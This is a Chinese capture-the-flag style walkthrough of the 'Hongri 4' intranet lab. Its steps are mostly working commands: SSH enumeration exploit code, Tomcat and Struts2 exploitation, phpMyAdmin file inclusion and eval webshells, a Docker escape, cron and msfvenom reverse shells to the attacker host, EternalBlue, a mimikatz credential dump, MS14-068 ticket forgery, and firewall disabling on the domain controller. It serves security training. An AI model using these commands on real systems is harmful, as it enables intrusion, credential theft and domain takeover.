红日四内网靶场练习
声明
笔记的只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。
✍🏻作者简介:致力于网络安全领域,目前作为一名学习者,很荣幸成为一名分享者,最终目标是成为一名开拓者,很有趣也十分有意义
🤵♂️ 个人主页: @One_Blanks
欢迎评论 💬点赞👍🏻 收藏 📂加关注+
- 关注公众号:泷羽Sec-Blanks
X
带你去体验最真实的渗透环境,文章里不会直接摆答案,会全面的带你去进行信息收集以及漏洞利用,会领着你一步一步踩下我踩过的坑,实战往往比这更绝望,练技术须实践。
目录
一、前期准备
靶机下载
https://pan.baidu.com/s/1Dvl-oiFNlEwCrFvhrvqlsA 提取码: 2kgk
目标
目标共三台机器:Web DC Win7
网络配置:
Web 网卡1:Nat模式 网卡2:仅主机模式
DC 网卡:仅主机模式
Win7 网卡:仅主机模式
账号密码 与 网络信息
ubuntu:ubuntu
网卡1:192.168.1.128
网卡2:192.168.31.128
域成员机器
douser:Dotest123
192.168.31.129
DC
administrator:Test2008
192.168.31.130
Web机环境启动
sudo docker start ec 17 09 bb da 3d ab ad
sudo docker ps 可以看一下是否启动成功
网络拓扑图
二、渗透阶段
(一)外网打点
主机发现
arp-scan -l
或
netdiscover -r 192.168.1.0/24
或
nmap -sn 192.168.1.0/24
192.168.1.128 00:0c:29:3e:6f:fe VMware, Inc.
我们发现了一台目标机器 ip:192.168.1.128
设置环境变量
export ip=192.168.1.128
端口扫描
nmap --min-rate 10000 -p- $ip
PORT STATE SERVICE
22/tcp open ssh
2001/tcp open dc
2002/tcp open globe
2003/tcp open finger
MAC Address: 00:0C:29:3E:6F:FE (VMware)
服务信息收集
nmap -sS -sV -O -p22,2001,2002,2003 $ip
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
2001/tcp open http Jetty 9.2.11.v20150529
2002/tcp open http Apache Tomcat 8.5.19
2003/tcp open http Apache httpd 2.4.25 ((Debian))
MAC Address: 00:0C:29:3E:6F:FE (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14, Linux 3.8 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
漏洞信息扫描
nmap --script=vuln -p22,2001,2002,2003 $ip
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-08 02:49 EDT
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 192.168.1.128
Host is up (0.00032s latency).
PORT STATE SERVICE
22/tcp open ssh
2001/tcp open dc
2002/tcp open globe
2003/tcp open finger
MAC Address: 00:0C:29:3E:6F:FE (VMware)
(一)22端口
Nday
searchsploit OpenSSH 6.6.1
找到有用户枚举的EXP,下载下来看看
searchsploit -m 45939
版本有点老了,这里给他优化了一下
#!/usr/bin/env python2
# CVE-2018-15473 SSH User Enumeration by Leap Security (@LeapSecurity) https://leapsecurity.io
# Credits: Matthew Daley, Justin Gardner, Lee David Painter
import argparse, logging, paramiko, socket, sys, os
class InvalidUsername(Exception):
pass
# malicious function to malform packet
def add_boolean(*args, **kwargs):
pass
# function that'll be overwritten to malform the packet
old_service_accept = paramiko.auth_handler.AuthHandler._client_handler_table.fget(
paramiko.auth_handler.AuthHandler)[paramiko.common.MSG_SERVICE_ACCEPT]
# malicious function to overwrite MSG_SERVICE_ACCEPT handler
def service_accept(*args, **kwargs):
paramiko.message.Message.add_boolean = add_boolean
return old_service_accept(*args, **kwargs)
# call when username was invalid
def invalid_username(*args, **kwargs):
raise InvalidUsername()
# assign functions to respective handlers
handler_table = paramiko.auth_handler.AuthHandler._client_handler_table.fget(paramiko.auth_handler.AuthHandler)
handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = service_accept
handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = invalid_username
# perform authentication with malicious packet and username
def check_user(username):
sock = socket.socket()
sock.connect((args.target, args.port))
transport = paramiko.transport.Transport(sock)
try:
transport.start_client()
except paramiko.ssh_exception.SSHException:
print('[!] Failed to negotiate SSH transport')
sys.exit(2)
try:
transport.auth_publickey(username, paramiko.RSAKey.generate(2048))
except InvalidUsername:
print("[-] {} is an invalid username".format(username))
sys.exit(3)
except paramiko.ssh_exception.AuthenticationException:
print("[+] {} is a valid username".format(username))
# remove paramiko logging
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
parser = argparse.ArgumentParser(description='SSH User Enumeration by Leap Security (@LeapSecurity)')
parser.add_argument('target', help="IP address of the target system")
parser.add_argument('-p', '--port', default=22, help="Set port of SSH service")
parser.add_argument('username', help="Username to check for validity.")
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
check_user(args.username)
下面是执行效果,感觉也没啥用
PS C:\Users\28374\Desktop\安全工具开发\One_Mini> python .\test.py 192.168.1.128 root
[+] root is a valid username
(二)2001端口 2002端口 2003端口
先访问
http://192.168.1.128:2001/
直接就是一个上传文件的页面
http://192.168.1.128:2002/
先访问,是一个Apache Tomcat服务
http://192.168.1.128:2003/
这里没有登录直接进来了,phpadmin
我们直接使用工具进行检测和利用
(三)Struts2渗透工具、Tomcat渗透、PhpMyAdmin渗透
针对2001这样Struts2服务的我们我们直接就用工具扫了,可以看标题
我这里用的工具在github上有
https://github.com/abc123info/Struts2VulsScanTools/releases/tag/v19.32
看执行命令,并直接输入whoami命令
这里的shell直接是root的那我们就先反弹shell到Kali
Kali里开启监听 nc -nvlp 4444
工具执行反弹shell命令
bash -i >& /dev/tcp/192.168.1.133/4444 0>&1
成功拿到了root权限的shell
我们在上帝视角看我们知道这是一个Docker的环境,但是我们得到一个Docker环境是远远不够的,通常需要得到多个Docker环境的权限来判断当前Docker环境是否可以进行Docker逃逸,这样才能提高渗透的成功概率
接下来看Tomcat
我们还是要先扫一下拿信息
这里用的nokit
nikto -url http://192.168.1.128:2002/
+ Server: No banner retrieved
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /nikto-test-HsvKIICJ.html: HTTP method 'PUT' allows clients to save files on the web server. See: https://portswigger.net/kb/issues/00100900_http-put-method-is-enabled
+ /favicon.ico: identifies this app/server as: Apache Tomcat (possibly 5.5.26 through 8.0.15), Alfresco Community. See: https://en.wikipedia.org/wiki/Favicon
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS .
+ HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server.
+ HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.
+ /examples/servlets/index.html: Apache Tomcat default JSP pages present.
+ /examples/jsp/snp/snoop.jsp: Displays information about page retrievals, including other users. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2104
刚开始扫就看到了支持PUT方法上传,那啥都不用管了
我们先看看有没有现成的EXP
searchsploit Apache Tomcat 8.5.19
┌──(root㉿kali)-[/home/kali]
└─# searchsploit Apache Tomcat 8.5.19
--------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------- ---------------------------------
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (1) | windows/webapps/42953.txt
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (2) | jsp/webapps/42966.py
--------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
直接拿下面的py文件了
searchsploit -m 42966
┌──(root㉿kali)-[/home/kali/bc/hr4]
└─# ./42966.py
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
./cve-2017-12617.py [options]
options:
-u ,--url [::] check target url if it's vulnerable
-p,--pwn [::] generate webshell and upload it
-l,--list [::] hosts list
[+]usage:
./cve-2017-12617.py -u http://127.0.0.1
./cve-2017-12617.py --url http://127.0.0.1
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
./cve-2017-12617.py -l hotsts.txt
./cve-2017-12617.py --list hosts.txt
[@intx0x80]
直接执行
./42966.py -u http://192.168.1.128:2002/ -p pwn
直接拿到root权限
最后就是phpmyadmin了,我们未授权直接进去了,那就有的是办法拿shell了,但最省事的还是直接EXP
我们从页面右下角发现了phpMyAdmin的版本信息为 4.8.1
直接搜
searchsploit phpMyAdmin 4.8.1
然后直接给这个RCE下载
searchsploit -m 50457
python2 50457.py 这里用python2执行,python3执行报错
看了眼实例我们执行一下
python2 50457.py 192.168.1.128 2003 /phpmyadmin username password whoami
没有版本。。
那我们只能换第一个手动了
searchsploit -m 44924
cat 44924.txt 这里的解释我删掉了,直接看Payload 文件包含的
Payload:
http://192.168.1.128:2003/index.php?target=db_sql.php%253f/../../../../../../windows/wininit.ini
Payload:
http://192.168.1.128:2003/index.php?a=phpinfo();&target=db_sql.php%253f/../../../../../../etc/passwd
http://192.168.1.128:2003/index.php?a=phpinfo();&target=db_sql.php%253f/…/…/…/…/…/…/etc/passwd
show global variables like ‘%secure_file_priv%’
此处设置为NULL,那select into outfile就不行了
我们还可以通过数据库日志文件写入Shell
1、查看当前日志文件:
SHOW VARIABLES LIKE 'general%';
2、开启日志记录:
set global general_log = "ON";
3、更改日志文件路径:
set global general_log_file='C:\\xampp\\htdocs\\tieuhoc\\b.php'
4、往日志文件里写入一句话木马
select '<?php @eval($_POST[cmd]);?>';
3.3 通过慢查询写shell
show variables like '%slow%'set global slow_query_log=on;set global slow_query_log_file='C:\\xampp\\htdocs\\tieuhoc\\c.php'select '<?php @eval($_POST[cmd]);?>' or sleep(10);
3.4 创建数据库和表写入webshell
前提:拥有root权限、网站绝对路径已知(并且确定有写入权限); secure_file_priv没有具体值
CREATE TABLE test( id text(200) not null);
INSERT INTO test (id) VALUES('<?php @eval($_POST[cmd]);?>');
SELECT id FROM test INTO OUTFILE 'C:\\xampp\\htdocs\\tieuhoc\\e.php';
DROP TABLE IF EXISTS test;
直接在第二步就卡住了,没有SUPER权限
那2003端口就先这样,我们先试试Docker是否可逃逸
(四)Docker逃逸
我们是从上帝视角看到的这是Docker容器,那如果在完全黑盒的情况下如何判断呢
cat /proc/1/cgroup
既然我们知道了这是一个Docker容器了,我们就需要让我们的权限跳出Docker进行逃逸,进入到真实机器进行操作
因为我们这里是root用户我们这里直接特权逃逸了
- 漏洞原理
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
- 漏洞利用
查看磁盘文件
fdisk -l
Struts2服务用户没有,Tomcat 用户有
那在Tomcat的shell中执行下面的命令
mkdir /tmp/bc
mount /dev/sda1 /tmp/bc
然后我们查看一下,发现我们成功逃逸,来到了真实主机的磁盘下
ls /tmp/bc
已经成功挂载了,但是我们需要一个更稳定的shell,但是bash\python等反弹都不行,但是我们还忘掉了一个端口
(五)22端口SSH服务
我们直接修改ssh,通过ssh进行登录,这样的shell就更稳定
echo "test:x:1006:1006:test:/home/test:x::/bin/bash" >> /tmp/bc/etc/passwd
test
:用户名。x
:密码占位符(实际密码在/etc/shadow
)。1006
:用户 ID(UID)。1006
:组 ID(GID)。test
:用户描述(全名或备注)。/home/test
:用户家目录。/bin/bash
:默认登录 Shell。
然后再给他配一个加盐哈希密码
openssl passwd -1 -salt wwwww 123456
-salt wwwww 是加的盐 生成密码为 1 1 1wwwww$yb5hib7GqVs3vcmCjIBhu0
echo "test:x::\$1$wwwww$yb5hib7GqVs3vcmCjIBhu0/:18381:0:99999:7:::" >> /tmp/bc/etc/shadow
输入密码但是一直提示错误
那就尝试ssh免密登录
Kali下
cd ~/.ssh
ls
其中id_rsa.pub文件就是ssh公钥
开启http服务
python3 -m http.server 8080
在Web机的shell中下载
wget http://192.168.1.133:8080/c
公钥拷贝到ubuntu的.ssh中
cp id_rsa.pub /tmp/bc/home/ubuntu/.ssh/authorized_keys
ls -la /tmp/bc/home/ubuntu/.ssh
注意需要给authorized_keys 644权限
chmod +644 /tmp/bc/home/ubuntu/.ssh/authorized_keys
然后发现竟然还是要密码
那就是算法问题了,直接强制添加选项
┌──(root㉿kali)-[/home/kali]
└─# ssh -oPubkeyAcceptedKeyTypes=+ssh-rsa \
> -i rain_rsa \
> ubuntu@192.168.1.128
uname -a
直接去搜版本内核提取漏洞
searchsploit Linux ubuntu 4.4.0
Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KASLR / SMEP) | linux/local/47169.c
找到了这个
下载下来
searchsploit -m 47169
开http给ubuntu传过去
Kali: python3 -m http.server 8080
Ubuntu: wget http://192.168.1.133:8080/47169.c
head -n 60 47169.c 看一下使用说明
然后用gcc编译且执行
gcc 47169.c -o pwn
./pwn
发现不行
在换一个
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP) | linux/local/43418.c
searchsploit -m 43418
python3 -m http.server 8080
wget http://192.168.1.133:8080/43418.c
head -n 60 43418.c
gcc 43418.c -o pwn2
./pwn2
都不行,那就换方法吧
查看计划任务
ls -al /etc/cron*
发现没有ubuntu可写计划任务
但是我们可以用刚刚逃逸成功的root权限用户创建一个计划任务进行提权
echo -e '#!/bin/bash\n/bin/bash -i >& /dev/tcp/192.168.1.133/3333 0>&1' > /tmp/bc/tmp/shell.sh
chmod +x /tmp/bc/tmp/shell.sh
cat /tmp/bc/tmp/shell.sh
*# 写入crontab计划任务,表示每隔1分钟以root权限执行一次计划*
echo '*/1 * * * * root bash /tmp/shell.sh' > /tmp/bc/etc/crontab
cat /tmp/bc/etc/crontab
然后再Kali上开启监听等着就行了
nc -nvlp 3333
(二)内网渗透
信息收集
ip a 我们发现一个192.168.31.0网段
存活主机
for i in {1…254}; do (ping -c 1 192.168.31.${i} | grep “bytes from” | grep -v “Unreachable” &); done;
root@ubuntu:~# for i in {1..254}; do (ping -c 1 192.168.31.${i} | grep "bytes from" | grep -v "Unreachable" &); done;
<68.31.${i} | grep "bytes from" | grep -v "Unreachable" &); done;
64 bytes from 192.168.31.1: icmp_seq=1 ttl=128 time=1.48 ms
64 bytes from 192.168.31.128: icmp_seq=1 ttl=64 time=0.052 ms
64 bytes from 192.168.31.129: icmp_seq=1 ttl=128 time=1.46 ms
64 bytes from 192.168.31.130: icmp_seq=1 ttl=128 time=0.850 ms
发现了,192.168.31.129,192.168.31.130 这两个存活主机
上线Msf
- 先生成个msf马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.133 LPORT=1234 -f elf > shell.elf
- Kali开启服务
python3 -m http.server 8080
- 目标机下载
wget http://192.168.1.133:8080/shell.elf
- Kali打开msf进行监听
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.133
set LPORT 1234
run
- 目标机执行msf马
chmod +x shell.elf
./shell.elf
成功上线,收到会话
添加路由建立代理
先退出当前会话
background
可以用 sessions 命令查看所有会话
然后用 sessions -i 1 重新进入会话 (这里的1是会话的ID)
route add 192.168.31.0 255.255.255.0 1 (<目标网络> <子网掩码> <会话编号>)
这里利用ew建立代理,ew_for_linux64工具在github上有
Kali上 (注意执行前要用chmod +x 加执行权限)
./ew_for_linux64 -s rcsocks -l 1080 -e 1111
在目标机上传ew_for_linux64
./ew_for_linux64 -s rssocks -d 192.168.1.133 -e 1111
返回Kali看一下
vi /etc/proxychains4.conf
socks5 127.0.0.1 1080
socks4 127.0.0.1 1081
在msf会话中不能直接执行wget等命令,因为这些是Linux系统的命令,不属于msf命令范畴,如果想执行Linux命令直接在msf会话中输入shell就可以启动一个Linux的shell会话了,用完之后还可以使用exit命令返回到msf会话中
ping 192.168.31.129 搭建成功
msf探测内网存活主机与端口
use auxiliary/scanner/discovery/udp_probe
set RHOSTS 192.168.31.0/24
set THREADS 5
run
[+] Discovered NetBIOS on 192.168.31.129:137 (TESTWIN7-PC:<20>:U :TESTWIN7-PC:<00>:U :DEMO:<00>:G :DEMO:<1e>:G :DEMO:<1d>:U :__MSBROWSE__:<01>:G :00:0c:29:19:7f:6a)
[+] Discovered DNS on 192.168.31.130:53 (Microsoft DNS)
[+] Discovered NTP on 192.168.31.130:123 (1c0104fa00000000000a50fb4c4f434ceb9f3f71f4000000c54f234b71b152f3eb9fa4ef74000000eb9fa4ef74000000)
[+] Discovered NetBIOS on 192.168.31.130:137 (WIN-ENS2VR5TR3N:<20>:U :WIN-ENS2VR5TR3N:<00>:U :DEMO:<00>:G :DEMO:<1c>:G :DEMO:<1b>:U :00:0c:29:bc:53:6a)
还是两台主机
192.168.31.129 TESTWIN7-PC
192.168.31.130 WIN-ENS2VR5TR3N
横向移动
信息收集
nmap --min-rate 10000 -p- 192.168.31.130
PORT STATE SERVICE
53/tcp open domain
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
nmap -sS -p53,135,139,445 -A 192.168.31.130
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB1446A) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB1446A)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2008 HPC Edition 7601 Service Pack 1 microsoft-ds (workgroup: DEMO)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows XP|7|2012
OS CPE: cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2012
OS details: Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012
Network Distance: 2 hops
Service Info: Host: WIN-ENS2VR5TR3N; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
|_nbstat: NetBIOS name: WIN-ENS2VR5TR3N, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:bc:53:6a (VMware)
| smb-os-discovery:
| OS: Windows Server 2008 HPC Edition 7601 Service Pack 1 (Windows Server 2008 HPC Edition 6.1)
| OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
| Computer name: WIN-ENS2VR5TR3N
| NetBIOS computer name: WIN-ENS2VR5TR3N\x00
| Domain name: demo.com
| Forest name: demo.com
| FQDN: WIN-ENS2VR5TR3N.demo.com
|_ System time: 2025-04-08T22:46:38+08:00
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled and required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
|_clock-skew: mean: -2h40m05s, deviation: 4h37m07s, median: -6s
| smb2-time:
| date: 2025-04-08T14:46:37
|_ start_date: 2025-04-08T06:23:39
nmap --min-rate 10000 -p- 192.168.31.129
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
49152/tcp open unknown
nmap -sS -p135,139,445,49152 -A 192.168.31.129
PORT STATE SERVICE VERSION
135/tcp open msrpc?
139/tcp open netbios-ssn?
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: DEMO)
49152/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port139-TCP:V=7.95%I=7%D=4/8%Time=67F53649%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,5,"\x83\0\0\x01\x8f");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized
Running: Microsoft Windows XP|7|2012, VMware Player
OS CPE: cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2012 cpe:/a:vmware:player
OS details: Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012, VMware Player virtual NAT device
Network Distance: 2 hops
Service Info: Host: TESTWIN7-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-04-08T14:45:33
|_ start_date: 2025-04-08T06:24:09
|_nbstat: NetBIOS name: TESTWIN7-PC, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:19:7f:6a (VMware)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled but not required
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
两台机器都开放了445端口,那就试一下永恒之蓝
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.31.129
set RHOSTS 192.168.31.130
run
两台都扫出来永恒之蓝
利用永恒之蓝模块
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 192.168.183.129
run
set RHOSTS 192.168.183.130
run
成功拿下Win7,DC域控拿不下应该是有防火墙
换模块 use exploit/windows/smb/ms17_010_psexec
还是不行
拿下域控
回到Win7会话
mimikatz工具在主机桌面寂静有了
我们直接运行使用
mimikatz.exe
privilege::debug 提升当前会话的权限到调试权限,这是后续获取敏感信息所必需的权限
sekurlsa::logonpasswords 从 LSASS(本地安全认证子系统服务)进程里提取当前登录用户的密码、哈希值、会话票据等敏感信息
USER:douser
Domain:DEMO.COM
NTLM:bc23b0b4d5bf5ff42bc61fb62e13886e
SID:S-1-5-21-979886063-1111900045-1414766810-1107
PASSWORD:Dotest123
利用Kerberos域用户提取漏洞(MS14-068;CVE-2014-6324)获得域控
该漏洞可导致活动目录整体权限控制受到影响,允许攻击者将域内任意用户权限提升至域管理级别。通俗地讲,如果攻击者获取了域内任何一台计算机的Shell权限,同时知道任意域用户的用户名、SID、密码,即可获得域管理员权限,进而控制域控制器,最终获得域权限。
使用PyKEK可以生成一张高权限的服务票据,并通过mimikatz将服务票据注入内存。
使用PyKEK,可以将Python文件转换为可执行文件(在没有配置Python环境的操作系统中也可以执行此操作,在这台靶机中靶场搭建者已经给大家准备好了可执行文件版的MS14-068.exe)
微软针对MS14-068 ( CVE-2014-6324)漏洞提供的补丁为KB3011780
步骤:
1、生成高权限票据
MS14-068.exe -u douser@DEMO.COM -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.31.130 -p Dotest123
(MS14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码)
-u 域成员名@域名
指定要伪造的用户主体名称(UPN)
-s S - 1 - 5 - 21 - 979886063 - 1111900045 - 1414766810 - 1107
指定用户的安全标识符(SID),用于标识用户在系统中的唯一身份
-d 192.168.31.130
指定域控制器的 IP 地址,该工具会向此域控制器请求伪造的 Kerberos 票证
-p Dotest123
指定用户的密码,用于验证用户身份并生成相应的 Kerberos 票证
2、查看注入前的权限
将票据文件复制到Windows Sever 2008机器的mimikatz目录下,使用mimikatz将票据注入内存。
net use \WIN-ENS2VR5TR3N\c$ 尝试建立一个到目标计算机(WIN-ENS2VR5TR3N
)上 C 盘隐藏共享的连接
显示“Access is denied",表示在将票据注入前无法列出域控制器C盘目录的内容,那就先清除一下
3、清除内存中的所有票据
打开mimikatz
kerberos::purge
清除当前会话中所有 Kerberos 票据,使系统需重新请求认证票据
当看到"Ticket(s) purge for current session is OK’时,表示清除成功
4、将高权限的票据注入内存
kerberos::ptc “TGT_user1@pentest.com.ccache”(双引号里面的是票据的名字)
ptc
:利用缓存中的 Kerberos 票据来获取访问权限
"TGT_user1@pentest.com.ccache"
:指定了要使用的 Kerberos 票据文件
kerberos::ptc “TGT_douser@DEMO.COM.ccache”
注入成功
生成一个msf马通过文件共享上传至域控主机
首先关闭WIN7防火墙
NetSh Advfirewall set allprofiles state off
Advfirewall
:即 Windows Defender 高级防火墙
set allprofiles state off
:将所有网络配置文件(如域、专用、公用网络)的防火墙状态设置为关闭
生成msf bind马
msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=192.168.183.130 LPORT=7777 -f exe > shell.exe
开启WIN7 3389远程连接用于上传文件
wmic RDTOGGLE WHERE ServerName=‘%COMPUTERNAME%’ call SetAllowTSConnections 1
WHERE ServerName='%COMPUTERNAME%'
:指定当前操作的目标是本地计算机。%COMPUTERNAME%
是系统环境变量,代表当前计算机的名称
call SetAllowTSConnections 1
:调用 RDTOGGLE
类的 SetAllowTSConnections
方法,并将参数设置为 1
。此操作会启用本地计算机的远程桌面连接功能,允许其他设备通过远程桌面协议连接到这台计算机。
在WIN7上创建新的用户并加入到管理员组
net user aaa qwe123!asd /add 创建新用户 “aaa”,密码为 “qwe123!asd”
net localgroup administrators aaa /add 将用户 “aaa” 添加到管理员组,使其具备管理员权限
通过远程桌面上传msf马到域控
在kali上输入命令
rdesktop 192.168.31.129 -r disk:wj=/root
-r disk:wj=/root
:这是一个挂载选项。它将本地 Linux 系统的 /root
目录以名为 wj
的磁盘共享到远程 Windows 系统中。这样在远程 Windows 系统里,用户就可以像访问本地磁盘一样访问本地 /root
目录的文件。
-r 为指定共享的磁盘
用刚才添加的账号登录
将刚生成的msf马复制到WIN7中
再通过文件共享将马复制到域控中
copy shell.exe \WIN-ENS2VR5TR3N\c$
schtasks /create /S WIN-ENS2VR5TR3N /TN “test” /TR c:/shell.exe /SC MINUTE /ST 21:27 /ru system /f
schtasks /create
:用于创建新的计划任务
/S WIN-ENS2VR5TR3N
:指定要在名为 WIN-ENS2VR5TR3N
的远程计算机上创建任务。
/TN "test"
:设置任务名称为 test
。
/TR c:/shell.exe
:指定任务执行时要运行的程序或脚本,这里是 c:/shell.exe
。
/SC MINUTE
:设置任务的执行计划为按分钟执行。
/ST 21:27
:设置任务开始执行的时间为 21:27。
/ru system
:指定任务以系统账户权限运行。
/f
:强制创建任务,若同名任务已存在则覆盖。
msf开启监听
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.183.130
set LPORT 7777
exploit
等了很久没有收到会话,在域控上看到7777端口处于监听模式,证明计划任务执行成功,没有收到会话肯定是因为防火墙拦截了
可以创建一个计划任务关闭防火墙
echo NetSh Advfirewall set allprofiles state off >> 1.bat
copy 1.bat \WIN-ENS2VR5TR3N\c$
schtasks /create /S WIN-ENS2VR5TR3N /TN “test1” /TR c:/1.bat /SC ONCE /ST 21:57 /ru system /f
成功收到会话